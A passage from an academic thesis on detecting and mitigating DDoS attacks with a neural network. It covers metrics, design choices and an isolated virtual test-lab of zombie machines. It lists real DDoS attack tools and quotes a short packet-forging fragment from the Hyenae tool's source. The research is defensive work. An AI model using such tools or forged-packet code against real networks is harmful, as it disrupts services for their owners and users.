Accuracy, Specificity, Precision or Sensitivity to compare the outcome of our work with (see Chapter 7). 
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3.3  Aims and Contributions  
The core objectives of all papers described in Table 3-1 are to detect DDoS attacks regardless 
of their approaches and mechanisms. However, most of these approaches have failed to 
address unknown attacks with the exception of [108], [226], [84], [77], [112], [140] and [105]. 
Despite their attempts to address unknown DDoS attacks, these papers do not provide 
statistical explanations or values for how accurate their DDoS detection is. Nevertheless, one 
cannot determine accuracies since their algorithms were trained with old datasets and lacked 
knowledge in up-to-date patterns (see Chapter 4, Section 4.9 for dataset definition). This is 
due to the fact that the authors in Table 3-1 trained their data mining algorithms with old 
datasets that are introduced by third party organisations (e.g. KDDCUP 1999 and DARPA [50] 
[51]). We however, aim to train our ANN algorithm with both old and up-to-date datasets and 
measure DDoS Detection Accuracy accordingly (see Chapters 4, 5 and 7). However, obtaining 
up-to-date patterns requires observing and learning from different DDoS attack behaviours in 
different real physical environments where genuine and attack packets are flowing 
independently. At this point we avoided simulators and focused on packets that are generated 
by genuine applications, operating systems and DDoS attack tools (see Chapter 4). 
Furthermore, some authors ([12], [248], [112], [19]) in their approaches used cooperation 
between their proposed agents to mitigate DDoS attacks. We however, use cooperation to 
verify our decision (attack or genuine) before protecting the victim. This is to ensure the 
Detection Accuracy and to block the flow of DDoS traffic, if a local DDoS Detector fails to 
detect it (see Chapter 5 for more details). We also aim to measure the Detection Accuracy of 
our solution and compare with signature based Intrusion Detection System and other 
academic research. The aims of our thesis can be summarised in the following points. 
1) Unknown (zero-day) and Known DDoS Attack Detection 
Zero day (unknown) attacks, as described in Chapter 1, Section 1.10, are undetectable by 
signature based detection systems, if the rules (signatures) that are used by detection 
systems to detect an attack are not included in the detector´s database. In this case, the 
detector identifies them as genuine traffic passing through without being blocked. Such 
signatures/rules are defined as patterns and provided by authorities such as the Computer 
Emergency Response Team (CERT) [37], security organisations or any security trusted 
companies. Regular expression is used by the signature based detection system to identify 
the forged parts of the attack and match it with its signatures in the detection system´s 
database. Our aim is to avoid using signatures to detect unknown and known DDoS attacks 
and instead use an ANN algorithm to determine the detection process.  
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The detection process is based on training the ANN algorithm with patterns that represent the 
existing DDoS attacks and genuine traffic. This leads in identifying unknown DDoS attacks 
that are similar to the DDoS attack patterns that the ANN was trained with (see Chapter 7 for 
the results). Furthermore such an approach avoids dependency on third party organisations to 
provide signatures for detecting DDoS attacks. We also aim to observe ANNs respond 
towards unknown DDoS detection when trained with old and up-to-date datasets. In our 
context, any DDoS approaches and mechanisms that are not used to train our ANN algorithm 
are considered to be zero-day or unknown DDoS attacks. Such approaches and mechanisms 
are later used to test our solution (see Chapters 5, 6 and 7).  
2) Low and High Rate DDoS Attack Detection 
DDoS attacks are usually known for their high volume rates, generated from different localised 
zombies to one particular target [175] [121] [31]. However, low rate DDoS attacks are 
sufficiently sophisticated to bypass detectors as the attacks do not introduce too much noise 
(high volume of packets) [241]. However, the solutions described in Chapter 2 have 
underestimated and ignored the risk of low rate DDoS attacks. We, on the other hand, take 
low and high rate DDoS attacks equally seriously in our experiments and tests. Hyenae and 
Network Auto Attack Tool (see Chapter 4, Section 4.5) are typical examples of DDoS tools 
that provide high and low rate DDoS attacks.  
3) Attack Mitigation 
The detection mechanism itself does not give enough value to the solution if one does not 
couple it with mitigation, which then leads to separating bad traffic from genuine traffic. The 
current solutions described in Chapter 2 (e.g. [19], [84], [16], [126], [75], [183], [248] and [187]) 
have partially focused on mitigating attacks. For example, when their approaches detect a flow 
of traffic to be higher than a predefined threshold, their mitigation system drops all packets 
(genuine traffic and DDoS attack) to reduce its volume to the threshold level. We however, aim 
to mitigate the attack by dropping DDoS attack packets while allowing genuine traffic to pass 
through to its destination based on what our system has detected. This approach separates 
forged packets from genuine packets before reaching their destinations. In our approach we 
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4) Real Environments vs. Simulations 
In order to learn through experimental DDoS attacks for the purpose of research, and to test 
the end product, one has the option of building real physical environments or using the 
existing simulators (e.g. NS-2 [133]). Some authors (e.g. [77] or [78]) have used simulators to 
execute their experiments as part of their research. We however, aim to conduct our 
experiments in real physical environments to: 
 Explore and learn the patterns that separate genuine from forged traffic.  
 Test our end product and compare its Detection Accuracy and mitigation with other 
related research work (see Chapter 7).  
 
Simulators can assist in experiments, but to best represent real DDoS attacks and the end 
product´s response to DDoS detection, one should deploy the experiments and the tests in 
real physical environments (see Chapter 4 and Chapter 7). However, our research work can 
be fully duplicated and compared in a simulation environment as explained in Chapter 8, 
Section 8.4. 
 
5) General Detection Rates  
DDoS detection is the core requirement of our work, but one needs to know how accurate the 
detection process is and at what rate. Here we refer to Sensitivity, Specificity, Precision and 
False Positive Rate to compare the outcome of our solution with other similar work where 
applicable. These are defined in the following way. 
 Sensitivity = True Positive / (True Positive + False Negative) x 100 
 Specificity  = True Negative / (True Negative + False Positive) x 100 
 Precision = True Positive / (True Positive + False Positive) x 100 
 True Positive Rate = Sensitivity = Recall. 
 False Positive Rate = False Positive / (False Positive + True Negative) x 100  
Where 
 True Positive: DDoS attacks that are flagged as attacks. 
 False Positive: Normal (genuine) traffic flagged as DDoS attacks.  
 True Negative: Normal (genuine) traffic that is flagged as normal. 
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Sensitivity is defined as the ability to identify positive results (traffic that is not genuine traffic 
and admitted to be attack traffic). This is also known as True Positive Rate (TPR). Specificity, 
on the other hand, is the ability to identify negative results (traffic that is known to be genuine 
and admitted to be normal traffic). This is sometimes called True Negative Rate (TNR). The 
proportion of true positive against all the positive results (both true positive and false positive) 
or the fraction of retrieved instances that are relevant is known as Precision. On the other 
hand, False Positive Rate is known as False Alarm Rate (see Chapter 7 for test results).  
6) Detection Accuracy  
Effective detection is the crux of our work; wrong detection can prevent genuine packets from 
reaching their destinations. We want to calculate the accuracy of our detection mechanism for 
genuine and attack traffic and then compare it with other similar research that has reported 
accuracy (Tables 2-1 and 3-1). The same approach will be used against signature-based 
detection where we compare its accuracy with our Detection Accuracy (See Chapter 7). 
Accuracy is defined in the following way. 
Accuracy = (True Positive + True Negative) / (True Positive + True Negative + False Positive 
+ False Negative) x 100 
The measurements shown under points 5 and 6 are defined in Chapter 0 and summarised in 
Figure 3-1.  
 
 
Figure  3-1: Confusion Matrix. 
 
Figure 3-1 is based on tables used by other fields of Medicine and other related Engineering 
fields.
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7) Attack Strength Mitigation   
Positioning our solution with respect to the victim is a vital consideration. DDoS attacks are 
designed to flow from different networks to one destination causing the target device to be 
overloaded with packets (see Appendix 3-1). If we position our solution close to the target 
machine (e.g. between the victim´s gateway and firewall), then the solution can be overloaded 
and latency can be introduced. However, if we distribute the solution (DDoS Detector) across 
the networks where the traffic is flowing towards the victim´s network, then each detector can 
minimise the strength of the attack before it reaches the target machine. The following 
diagram illustrates this (Figure 3-2).  
 
 
Figure  3-2: Detectors and flow of traffics on different networks. 
 
 
In the diagram above, we have three separate networks each with its own DDoS Detector to 
monitor for abnormalities. When an attack is launched via networks 1, 2 and 3, the detectors 
flag the traffic to be an attack and drop the forged attack packets. This results in cleaning the 
traffic of DDoS forged packets before reaching the destination and ultimately the strength of 
the attack is minimised.  
8) Communication and Knowledge Sharing 
Some research papers including [12], [248], [112] and [19] discussed in Chapter 2 used 
communication to assist their mitigation process. We however, use communication to verify 
the detection process before activating the defence mechanism. Encrypted messages 
between DDoS Detectors in our solution are exchanged to assist the detection process when 
any DDoS Detectors fail to detect. When a detector fails to verify a flow of traffic to be genuine 
or attack, it uses received information from other DDoS Detectors to make decisions about the 
legitimacy of the flow that it failed to verify (see Chapter 5, Section 5.6 for more details). We 
have chosen TCP socket implementation to establish such a connection and send encrypted 
(RSA encryption) messages between the DDoS Detectors to share information about the 
attacks (see Chapters 5 and 6).  
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In brief, the aims and objectives of this work are to deploy individual DDoS Detectors 
across networks to detect DDoS attacks (both known and unknown) and mitigate them by 
blocking forged packets and remove them from genuine traffic. Therefore, one can summarise 
our aims in the following points and identify our contribution in Chapter 7. 
 Detect unknown and known DDoS attacks based on trained ANN. 
 Avoid the need for third party authorities to provide signatures to detect DDoS 
attacks (less dependency). 
 Train and identify the ANN detection responds with respect to old and up-to-date 
datasets (patterns).  
 Activate the defence system to prevent forged packets while allowing genuine 
traffic to pass through.  
 Communicate to assist the detection process when required (Chapter 5, Section 
5.6). 
 Deploy the experiments and tests in real physical environments, avoiding 
simulations. In doing this one can. 
o Learn‎ about‎ TCP,‎ UDP‎ and‎ ICMP‎ packets’‎ behaviour‎ when‎ they‎ are‎
genuine or forged in a real physical environment.  
o Test the outcome of our solution in a real physical environment and 
compare its Detection Accuracy with approaches that use simulations.  
 Compare the outcome of our approach with signature based Intrusion Detection 
Systems (such as Snort) and other academic research, based on Detection 
Accuracy, Sensitivity, Specificity, Precision and False Positive rates. 
 Identify and verify our contribution. 
 
3.4 Choice of ANN to Detect DDoS Attacks 
In Chapter 1, Section 1.5, we provided a short technical overview of Artificial Neural Networks 
(ANN). In this section we further explore ANN and justify our selection. ANN was selected 
because of following reasons [79] [127] [64]. 
 Its ability to recognise and analyse patterns that represent specific characteristic 
features, which lead to the detection of unknown patterns that are similar to pre-
trained patterns (datasets).  
 Its ability to create own self-organisation or representation of information it receives 
during the training process.  
 Its real time operation. ANN computations may be carried out in parallel, which most 
system take advantage of such features, e.g. Snort-AI [18]. Such features can make it 
more mature than other approaches. 
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 Its potential to provide evidential response, fault tolerance and easier implementation 
than other artificial intelligence algorithms [79] [236]. 
 Other research papers (e.g. [101], [226], [102] and [2]) have used ANN to detect 
DDoS patterns, which facilitates direct comparison. 
 Author´s previous experience with ANN design and implementation (e.g. Snort-AI 
[18]).   
ANN learning algorithms can be supervised or unsupervised. A supervised learning process is 
used if the desired output is already known and uses the assistance of a trainer. This means 
that the algorithm is trained and changed under qualified supervision until the known output is 
achieved. ANN that learns in an unsupervised environment has no such target outputs and 
one cannot determine what the result of the learning process will look like. In our design, we 
choose the supervised version over the unsupervised one because, although an unsupervised 
ANN has the ability to detect new features (patterns), it cannot determine the legitimacy of 
new detected patterns. Furthermore, the output of our detection process is known (1-attack or 
0-genuine traffic), which satisfies supervised ANN learning process. The supervised ANN 
algorithm has the ability to predict similar patterns of attack to ones it is familiar with (see 
Figure 3-3). This reduces the administrative costs of adding new types of attack if new DDoS 
methodologies are identified. 
 
Figure  3-3: Supervised vs. Unsupervised ANN. 
In Figure 3-3, the green ellipses represent different groups of DDoS attacks such as ICMP, 
TCP and UDP DDoS attacks. The supervised ANN algorithm is trained to detect patterns of 
attacks belonging to the green ellipses. The red circles represent new attacks that the system 
is not trained to detect. However, the red circles have similar characteristic features of groups 
one, two, three and four. With supervised ANN algorithm, the detection system can detect any 
new DDoS attacks that belong to the red circles and have similar characteristic features of 
green ellipses. For example, unknown group-1 (red circle) introduces a new DDoS attack that 
is partially similar to group four (green ellipse). The trained system with a supervised ANN can 
detect the attack that belongs to unknown group-1, because unknown group-1 has similar 
features that the algorithm is familiar with. This approach provides accurate DDoS detection 
when new attacks are introduced and at the same time requires less administrative 
overheads. For this to be accurate the ANN algorithm must be trained with the appropriate 
datasets to learn the characteristic features of different DDoS attacks and genuine traffic.  
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In our context, a dataset is a set of related patterns that describe the characteristic features of 
DDoS attacks and genuine traffic. These patterns are represented as entity values (variables) 
of TCP, ICMP and UDP protocol headers that identify the attacks and genuine packets. This 
includes source/destination IP address, port number; id numbers, flags and many more (see 
Chapter 4, Section 4.8). However, a biased output can be produced if one type of data is 
used, as the decision will be based only on what the ANN has learnt. Therefore, during the 
training process, the dataset should contain both attack traffic and genuine traffic. Again 
biased results can also be obtained if the ANN is over trained (giving it too many dataset 
records covering many repetitive combinations). Refer to Chapter 6, Section 6.3.1 to learn 
about over training (Error Graph). We however, have trained the ANN algorithm with real life 
cases of genuine traffic and DDoS attack scenarios (patterns). The more we train the 
algorithm with up-to-date patterns (latest known attacks), the further we increase the chances 
of detecting unknown attacks, considering that over training is avoided. The ANN architecture 
depends on a comprehensive process of trial and error involving its topology and how many 
layers it should have. Ultimately, one can have as many input/hidden/output nodes as desired 
as long as the patterns are pre-processed with the format that the learning application 
accepts. However, too many or too few ANN nodes can introduce a lack of the desired output 
as the nature of the patterns and appropriate learning algorithms can impact the output value. 
Therefore, one requires conducting different experiments with different ANN architectural 
structure to produce the desired output (see Chapter 5, Section 5.5.2). The inputs represent 
patterns of DDoS attacks and their relevant unique features, which combine characteristics of 
attack and genuine traffic scenarios. Based on the discussion in this section, we selected ANN 
as opposed to other data mining approaches, yet we still compare the output of our solution 
with the other data mining approaches (including ANN) described in Chapter 2, Table 2-1 (see 
Chapter 7 for the comparisons and results). In Chapter 5, our choice of ANN topologies, 
algorithms and input variables are further explained in more detail.  
 
3.5 Choice of TCP, UDP and ICMP Protocols for Attack Detection 
As explained in Chapter 1, Section 1.3, IP, TCP, UDP and ICMP are considered to be the 
backbone protocols for basic or advanced communications between two or more devices or 
applications. TCP and UDP provide data exchange while ICMP is mainly used for the purpose 
of diagnostics. Almost any application nowadays requires at least one of these protocols on 
top of the IP protocol to establish and exchange data or diagnose connections [213] [141]. 
This makes these protocols popular targets for manipulation by DDoS attackers. Prolexic 
[162], the world´s largest Distributed Denial of Service attack mitigation service has confirmed 
in its quarterly reports that TCP, UDP and ICMP attacks are the most common DDoS attacks 
(see Table 1-1, Section 1.2, Chapter 1). Our decision to select TCP, UDP and ICMP attacks to 
be our primary focus was mainly based on the facts and figures produced by Prolexic.  
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Moreover, the high availability of TCP, UDP and ICMP DDoS attacking tools provides more 
understanding of how these attacks are engineered. However, most application layer attacks 
(e.g. SSL DDoS attack [195]) require TCP/UDP protocols to establish a connection during 
attacks and in most cases TCP/UDP segments are forged by the attack application. Therefore, 
our solution should also be able to determine forged segments and mitigate the application 
layer attack even though we focused on transport and network layers (see Chapter 6, Section 
6.4.3). 
3.6 Research Tasks 
In order to achieve the aims listed in Section 3.3, we needed to take the following steps.  
1. First, learn the behaviour, characteristic features and differences between genuine 
and DDoS attack traffic by building real life physical environments to run different 
DDoS attacks, together with genuine traffic (Chapter 4).  
2. After learning, extract the characteristic features that separate genuine traffic from 
DDoS attacks. We call these characteristics features patterns (Chapter 4). 
3. Arrange the patterns and prepare them as datasets in the format that the learning 
application accepts (Chapter 5).  
4. Select the ANN´s learning algorithm and its topological structures by executing 
experiments to identify the topological structure that provides greatest accuracy in 
detecting DDoS attacks (Chapter 5).   
5. Train the ANN algorithm with different sets of datasets that contain genuine and attack 
patterns (Chapters 5 and 6).  
6. Design the detection, defence and communication processes to mitigate DDoS 
attacks and share information to assist the detection process when desired (Chapter 
5).  
7. Implement our design (ANN-detection, defence and communication) and test the 
individual behaviours (Chapters 6 and 7).  
8. Evaluate our solution to (Chapters 7 and 8):  
a. Detect and verify known and unknown attacks.  
b. Compare the Detection Accuracy, Sensitivity, Precision and Specificity 
against the signature based intrusion detection approach and related 
academic research work. 
c. Verify the Detection Accuracy with respect to old and up-to-date datasets.  
d. Identify our contribution.  
Each of the above steps is detailed in the upcoming chapters.  
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3.7 Summary 
In this chapter we have focused on the aims and the contributions we wish to achieve. Here, 
we have provided a list of contributions that increases the detection of known and unknown 
DDoS attacks. Then we introduced a packet-filtering mechanism, which drops forged packets 
while allowing genuine packets to pass through. To produce a realistic output, the experiments 
will be executed in a real environment as opposed to using simulators. Then we aim to verify 
and evaluate our contribution when the results of our work are compared with other related 
research and a signature based approach (e.g. Snort). The evaluation of our work is based on 
calculating Detection Accuracy, Sensitivity, Specificity, Precision and False Positive rates 
compared with the results of similar research. Moreover, we aim to further test and evaluate 
our ANN´s response towards unknown DDoS detection when the algorithm is trained with old 
and up-to-date datasets. In Chapter 4, we focus on the experiments that we have conducted in 
our test-lab and identify the patterns that are used to separate genuine traffic from DDoS 
attack traffic, which are further used to train the ANN algorithm. The aims and objectives of our 
thesis are experimented, designed, implemented and tested in the upcoming chapters.   
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Chapter 4  – Environments and Experiments  
4.1 Introduction  
In this chapter, we describe the environments used to execute different DDoS experiments for 
learning and investigation purposes, whereby we identify and execute experiments that 
simplify the design process described in Chapter 5. These experiments also assist in 
identifying the characteristic features that separate genuine packets from abnormal ones. 
Learning about genuine and DDoS attacks in real physical network environments, as opposed 
to using simulators, can provide more visibility of DDoS behaviour. Such characteristic 
behaviours are then defined as patterns to produce datasets of genuine and DDoS traffic. 
After that the datasets are used and prepared to train the ANN algorithm as explained in 
Chapter 5, Section 5.5.1. The detection process is one of the most important components of 
our work and failure to distinguish genuine from DDoS attack traffic can have serious 
consequences. Therefore, we must carefully validate the environments and technologies 
involved in our experiments and design. We begin by exploring the process of retrieving 
packets from the networks in different physical environments where each set of packets is 
organised and prepared for training. The process included building new network 
infrastructures in corporative and isolated environments with different types of DDoS attack 
launched at different levels (high and low rate attacks). The results were then collected, 
carefully studied and compared with genuine traffic to verify the characteristic patterns that 
separate genuine from DDoS traffic. This part of the process required intensive understanding 
of how different protocols exchange and communicate with each other (Chapter 1, Section 
1.3). Any identified patterns that discriminate between genuine and DDoS traffic had to be 
carefully investigated and cross-matched with other genuine network traffic. In summary, this 
chapter examines the steps to identifying the fundamental differences between genuine and 
abnormal traffic in order to extract the characteristic behaviours that separate genuine from 
DDoS traffic. Such behaviours are then defined as patterns and compiled as datasets of 
genuine traffic and DDoS attack patterns to train the ANN algorithm. 
 
4.2 Network Analysis 
To understand the characteristic features of different DDoS attacks, we first started retrieving 
genuine traffic from different corporative environments, where network packets are generated 
from trusted devices. Corporative environments are real physical company environments and 
due to privacy matters, as agreed, their identities are protected. Then we began launching 
TCP, UDP and ICMP DDoS attacks in isolated environments. The isolated environment is 
independent from the corporate environment and used to launch different DDoS attacks. After 
that, we cross-matched genuine and DDoS attack traffic to identify and analyse patterns that 
separate genuine traffic from various DDoS attacks. 
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Throughout this process, we experimented with a variety of protocols that were forged for 
the purpose of DDoS attacks. However, we primarily focused on TCP, UDP and ICMP 
protocols due to their popularity and misuse (see Chapter 3, Section 3.5).  DDoS 
designers have always tried to introduce new methodologies to re-engineer any new and 
unthought-of security issues or unintentional errors for their attacks to be successful. 
Hence, knowing the foundations and basics of the communication protocols/packets is vital 
in assisting the detection mechanism. We started by analysing behaviours that separate 
genuine packets from forged ones. These behaviours are the characteristic features in the 
form of bits and flags in the headers of the packets (IP, ICMP, TCP or UDP headers). Such 
bits and flags (e.g. SYN, ID, Source IP) are set to provide meaningful instructions and to 
keep packets in order, identify protocols, and destine or source them. However, DDoS 
attackers alter these bits in the packet headers to bypass the available detection systems 
and to confuse and crash the target application/device [121] [175]. We call such 
behaviours (bits and flags of packet headers) patterns. These patterns are presented in 
the form of input variables and arranged in text files to form datasets. The datasets are 
used to train the ANN algorithm to learn about different DDoS attacks and genuine traffic. 
One can either obtain a dataset from a third party provider or generate it in a test-bed 
environment. KDD-CUP 1999 Data and DARPA Intrusion Detection Datasets [50] [51] are 
typical examples of third party datasets that contain different types of attacks including 
DDoS. However, the rapid growth in network protocols and attacking techniques has 
resulted in new DDoS methodologies that need to be investigated under novel 
experimental datasets. For instance, the latest gossip peer-to-peer (p2p) protocol (file 
sharing) introduced a new method of DDoS attack in a Wide Area Network (WAN) [160]. 
Furthermore, the existing third party datasets do not cover the DDoS attacks that look like 
genuine traffic [211]. Therefore providers such as KDD-CUP or DARPA do not provide all 
up-to-date DDoS attacks scenarios and patterns. For the purpose of this research, we 
decided to generate our own datasets that cover genuine traffic, and old and new DDoS 
attack patterns (see Section 4.9 for dataset definition). In our work analysis, we began by 
retrieving ICMP, TCP and UDP packets from the corporate networks and identified their 
characteristic features among the common protocols that separate them from forged 
packets. This process is divided into the following steps.  
 
1. Environment Setups: In this step, we installed a virtual environment on a top of the 
physical environment that is linked to the physical network and devices (see Section 
4.3).  
2. Genuine Traffic Collection: We collected genuine TCP, UDP and ICMP traffic and 
used them in step 5. See Section 4.4 for more details. 
3. DDoS Tools Analysis: We analysed the DDoS attacks at the code level to further 
learn about how packets are manipulated. See Section 4.5 for more details.   
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4. DDoS Attack Collection: We launched DDoS attacks using the different DDoS tools 
described in step 3 in an isolated environment. The purpose of this step was to collect 
TCP, UDP and ICMP DDoS attack traffic and use it in step 5. See Section 4.6 for 
more details. 
5. Normal and Abnormal Traffic Analysis: We analysed and investigated both sets of 
traffic from step 2 and 4 to extract and define characteristic features (patterns) that 
separate genuine traffic from DDoS attack traffic. See Section 4.7 for more details. 
6. Pattern Selection: We analysed the attacks, and their relationship to genuine traffic 
(step 5). Then patterns that separate DDoS attacks from genuine traffic were selected. 
See Section 4.8 for more details. 
7. Dataset Definition: We distinguished between old and up-to-date patterns (datasets). 
See Section 4.9 for more details. 
 
4.3 Environment Setups 
In this section we explain the process of building two separate environments to learn both 
normal (genuine) traffic and DDoS attack traffic. One environment retrieves packets from a 
genuine corporate network (free of DDoS attacks) while the other environment is virtual and 
isolated from the corporate network (with DDoS attacks).  
A) Corporate Environment  
In our context, we define corporate data traffic to be the genuine flow of information between 
harmless devices and networks in a corporate organisation. For the purpose of this research, 
three companies agreed to provide partial access to their temporary local networks and 
gateways. We retrieved genuine traffic flowing between the network devices and the Internet 
at different periods of time (peak and off peak). The temporary access to the networks was 
deactivated and removed from the infrastructure as soon as all genuine traffic was collected. 
For legal and security reasons, the identities of the companies cannot be released, but 
genuine traffic collected from them can be shown in the form of text files (see Appendix 4-1). 
To begin the process, we defined the network topology of the corporate environment and we 
installed tcpDump network analysers [221] in three different locations to retrieve packets 
during different working hours. The retrieved data was dumped into files for further analysis 
and comparison. Figure 4-1 represents the layout of the network that was used to retrieve 
genuine packets from the network.  
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Figure  4-1: Network layout for retrieving genuine traffic. 
 
The above environment consists of a Linux gateway that bridges the local networks to the 
Internet via a switch. At each point we deployed a tcpDump network analyser to collect traffic 
that is genuine. This approach identifies TCP, UDP or ICMP protocol behaviour when packets 
are flowing into or out of the network gateway or circulating within the local network. 
Furthermore, Figure 4-1 setup is also used in different corporate environments with different 
Linux gateways to identify packet thresholds, but instead of using tcpDump, IPTraf [231] was 
used to calculate the number of packets (see Chapter 5, Section 5.5 for more details on 
thresholds).  
B) Virtual Isolated Environment   
The purpose of the virtual isolated environment is to launch DDoS attacks on different scales 
(high and low rates) without damaging the business tier. This process cannot be deployed in a 
physical corporate environment due to core business, security and above all legality. However, 
one can clone the existing corporate physical network in a virtual environment that is linked to 
the corporate network. The risk of packets flooding out from the virtual environment is minimal 
because the environment is more controllable from a configuration perspective. Virtual 
environments are not to be confused with simulators as virtual setups are specifically used in 
the production environment. Figure 4-2, represents the interaction between virtual and 
physical environments.  
 
Figure  4-2: Isolated virtual networks within physical environment. 
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The advantages of deploying a virtual environment as opposed to using physical devices are: 
 It is fully functional at any organisation.  
 It is straightforward and inexpensive to quickly and accurately clone and increment 
virtual devices.   
 Since it is faster to clone and configure devices, this enabled us to create hundreds of 
zombies and agents to launch DDoS attacks, when the same process in a physical 
environment requires days of deployment. 
 The creation of virtual networks including routers, switches and network topological 
structures is done automatically and does not require any physical wiring.  
 It is easy to monitor, diagnose, duplicate, backup or rollback servers in the event of 
failure. 
 It provides better security by being fully isolated yet connected to physical networks. 
 
Such isolation protects corporate environments from accidental DDoS attacks ensuring both 
scalability and security enabling our work to be undertaken in a professional manner. Virtual 
environments that consist of devices, routers, switches and networks are typically run on one 
powerful physical machine that is operated by a virtual program. The virtual program 
automatically provides appropriate links between the virtual devices and the networks that we 
create. Meanwhile the virtual program creates links between the virtual environment and the 
physical environment where network traffic is exchanged. Our virtual environments were built 
using Oracle VirtualBox (VBox) [144] where clones of physical servers, networks, routers and 
switches were created and duplicated to introduce a physical look-a-like network. At different 
locations of the virtual network, we deployed tcpDump analysers for the purpose of retrieving 
packets. The virtual environment was then connected to the corporate environment to accept 
packets from the physical network. Figure 4-3 illustrates an example of a virtual environment 
of four separate virtual networks where attackers via zombies are DDoS-ing from each virtual 
network.  
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       Figure  4-3: Virtual and physical environments.  
The virtual devices are a combination of Linux, BSD and Windows platforms where each was 
infected with zombies and located on different virtual subnets. The zombies were fully 
controlled by the attackers for launching TCP, UDP and ICMP DDoS attacks. The VBox 
program provides a bridge between the virtual and the physical environments. The bridging 
mechanism allows packets to flow from the Internet to the virtual network, but not vice versa.  
This protects any devices in the physical network from accidental DDoS attacks flowing from 
the virtual network. To start the virtual environment, one requires a physical device and hands 
on access to install virtual networks, routers and switches.  






The installation process starts with installing any UNIX-like system on the Dell server. We 
selected the Debian system [52] to be our operating system due to its performance, security 
and compatibility with VBox. Installing and configuring virtual environments is done via a 
graphical user interface (Oracle VM VirtaulBox Manager) shown in Figure 4-4.  
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Figure  4-4: Oracle VirtualBox, environment setting. 
The‎ Interface‎ helps‎ the‎ user‎ to‎ choose‎ different‎ network‎ settings‎ using‎ different‎ virtual‎
devices.‎ It‎ also‎ allows‎users‎ to‎ combine‎wired‎and‎wireless‎ networks‎with‎network‎ capacity‎
that‎the‎user‎wishes‎to‎use.‎In‎the‎meantime,‎the‎interface‎assists‎the‎user‎to‎choose‎the‎data‎
storage‎type‎or‎even‎change‎the‎physical‎MAC‎[97]‎address‎if‎required. 
4.4 Genuine Traffic Collection 
Once‎the‎corporate‎network‎environment‎was‎set,‎as‎explained‎in‎Section‎4.3,‎Figure‎4-1,‎the‎
tcpDump‎began‎retrieving‎genuine‎network‎traffic‎from‎different‎points‎in‎the‎network.‎Genuine‎
traffic‎ was‎ the‎ outcome‎ of‎ normal‎ user´s‎ everyday‎ activities‎ between‎ local‎ devices‎ and‎
Internet‎ applications.‎ The‎ retrieved‎ traffic‎ is‎ then‎ forwarded‎ directly‎ to‎ log‎ files‎ and‎ later‎
analysed‎and‎compared‎(see‎Section‎4.7).‎This‎process‎was‎repeated‎during‎peak‎(when‎use‎
of‎the‎network‎services‎is‎at‎its‎highest)‎and‎off‎peak‎(when‎use‎of‎network‎services‎is‎at‎its‎
low‎ levels)‎ hours‎ for‎ 25‎working‎days.‎We‎ selected‎peak‎and‎off-peak‎hours‎ to‎ learn‎more‎
about‎the‎traffic‎when‎users‎are‎active‎with‎their‎daily‎work‎and‎when‎they‎are‎less‎active‎(e.g.‎
outside‎ work‎ hours‎ or‎ on‎ breaks).‎ The‎ log‎ files‎ contained‎ different‎ types‎ of‎ traffic‎ such‎ as‎
application,‎ session,‎ transport‎ and‎ network‎ layer‎ traffic.‎ For‎ the‎ purpose‎ of‎ our‎ work‎ we‎
focused‎on‎transport‎and‎network‎layer‎traffic‎(TCP,‎UDP‎and‎ICMP).‎The‎following‎represents‎
mixed‎genuine‎traffic‎captured‎in‎the‎corporate‎environment‎(see‎Appendix‎4-1).‎ 
01:23:36.063286 IP 10.0.0.6.34312 > 111.221.74.22.40005: UDP, length 35 
01:23:36.407364 IP 111.221.74.22.40005 > 10.0.0.6.34312: UDP, length 898 
01:23:36.674579 IP 10.0.0.6.56158 > 10.0.0.1.domain: 61957+ PTR? 22.74.221.111.in-addr.arpa. (44) 
01:25:08.355137 IP 10.0.0.6.60732 > 193.75.92.139.https: Flags [P.], seq 50621:51401, ack 64825, win 
65535, options [nop,nop,TS val 1514987947 ecr 908186020], length 780 
1:26:28.183094 IP 10.0.0.6 > www.text.kcl.ac.uk: ICMP echo request, id 4293, seq 8, length 64 
01:28:15.039532 IP 10.0.0.5.mdns > 224.0.0.251.mdns: 0*- [0q] 4/0/3 (Cache flush) PTR pc.local., 
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4.5 DDoS Tools and Analysis 
For legal reasons, the strength, quality and features of the DDoS tools used in our virtual 
isolated test-bed environment are not detailed. The attack tools were carefully and strictly 
used only for educational and research purposes, and only to generate data patterns with a 
view to understanding the attack characteristic features that accommodate the requirements 
described in Chapter 3. Also explaining the source-code of the DDoS attack tools from the 
programming perspective is not within the scope of this work. 
We began by selecting the attack methodologies and tools that are widely used by DDoS 
attackers. There are different types of DDoS attack tools, some of them are rather weak and 
others are effective. To be effective, the attack must overload the network to introduce network 
latency or crash the target host. We therefore focused on the tools that are most useable, 
effective and productively meaningful for our purposes. Based on our experiments, some 
DDoS tools yielded better results than others, even though the same methodologies and 
protocols were used. This is mainly due to implementation and architectural design of the 
DDoS tool. For the purpose of our experiments, we executed the DDoS tools shown in Table 
4-1 in our virtual environment described in Figure 4-3. Due to legal permission, accesses to 
such tools may be available on request under restricted supervision. However, some of these 
DDoS attacks tools are provided in our digital CD, as they are already freely available on the 
Internet.  
DDoS attack tools Support for TCP 
DDoS attack 
Support for UDP 
DDoS attack 
Support for ICMP 
DDoS attack 
GBDDoSeR‎[10] 
X X  
Silent-DdoSer‎[10] 
X X  
Net-Weave‎[10] 
X X  
Black‎Peace‎Group‎DdoSer‎
[10] 
X X X 
Warbot‎[10] 
X X  
TFN2K‎‎[45] 
X X X 
Hyenae‎[46] 
X X X 
Stacheldraht‎[47] 
X X X 
Synk4‎[247] 
X   
Dedal‎[10] 
X X  
Malevolent‎DdoSeR‎[10] 
 X  
Darth‎DDoSeR‎v2‎[10] 
 X  
UDP.pl‎attack‎[54] 
 X  
Network‎Auto‎Attack‎[184] 





Table  4-1: DDoS attack tools where X represents supports for the attack. 
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We have chosen both old (e.g. Stacheldraht or TFN2K), and new (e.g. GBDDoSeR or Warbot) 
DDoS tools to examine their behaviour and ability during attacks. This directed us to learn 
more about the engineering approaches introduced by the DDoS designers when they 
launched successful attacks. We learned that most DDoS attack methodologies use their own 
built-in libraries to manipulate the packets and appear genuine. However, genuine packets 
generated by the operating system resources obey a set of rules that are introduced by 
TCP/IP suite (see Chapter 1, Section 1.3.4). To illustrate, in the following code example (taken 
from Hyenae source code [46]), the author uses his own custom code to build the TCP header 
and wraps it with the IP layer without using the operating system´s source code or resources. 
This causes it to forge the information in a way that suits the attacker´s needs and confuses or 
bypasses the detection solution.  
/* Build TCP header */ 
  tcp_h = (tcp_h_t*) tcp_pkt; 
  tcp_h->th_sport = htons(src_pattern->port); 
  tcp_h->th_dport = htons(dst_pattern->port); 
  tcp_h->th_seq = htonl(tcp_seq_number); 
